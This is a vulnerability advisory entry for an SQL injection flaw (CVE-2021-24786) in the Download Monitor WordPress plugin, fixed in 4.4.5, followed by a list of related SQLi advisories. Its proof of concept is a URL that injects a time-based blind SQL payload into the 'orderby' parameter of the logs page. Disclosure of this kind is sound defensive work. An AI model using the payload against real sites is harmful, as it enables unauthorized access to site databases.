Download Monitor < 4.4.5 – Admin+ SQL Injection | CVE 2021-24786 | Plugin Vulnerabilities

Description

The plugin does not properly validate and escape the "orderby" GET parameter before using it in a SQL statement when viewing the logs, leading to an SQL Injection issue

Proof of Concept

(There need to be at least one log for the payload to trigger)

https://example.com/wp-admin/edit.php?post_type=dlm_download&page=download-monitor-logs&orderby=download_date%60+and+%28select+%28sleep%2810%29%29%29+and+%60user_id

Affects Plugins

download-monitor

Fixed in 4.4.5

References

CVE

Classification

Type

SQLI

OWASP top 10

CWE

CVSS

Miscellaneous

Original Researcher

bl4derunner

Submitter

Anton Sarsadskikh

Verified

Yes

WPVDB ID

a6571f16-66d2-449e-af83-1c6ddd56edfa

Timeline

Publicly Published

2021-10-20 (about 4 years ago)

Added

2021-12-01 (about 4 years ago)

Last Updated

2022-04-09 (about 3 years ago)

Other

Published

Title

Published

2025-01-07

Title

WOOEXIM <= 5.0.0 - Authenticated (Administrator+) SQL Injection

Published

2025-06-16

Title

Blog2Social < 8.4.5 - Authenticated (Subscriber+) SQL Injection via `prgSortPostType` Parameter

Published

2025-03-20

Title

Trust Payments Gateway for WooCommerce < 2.0.0 - Unauthenticated SQL Injection

Published

2024-09-11

Title

LearnPress – WordPress LMS Plugin < 4.2.7.1 - Unauthenticated SQL Injection via 'c_only_fields'

Published

2025-05-22

Title

Goodlayers Hostel <= 3.1.2 - Unauthenticated SQL Injection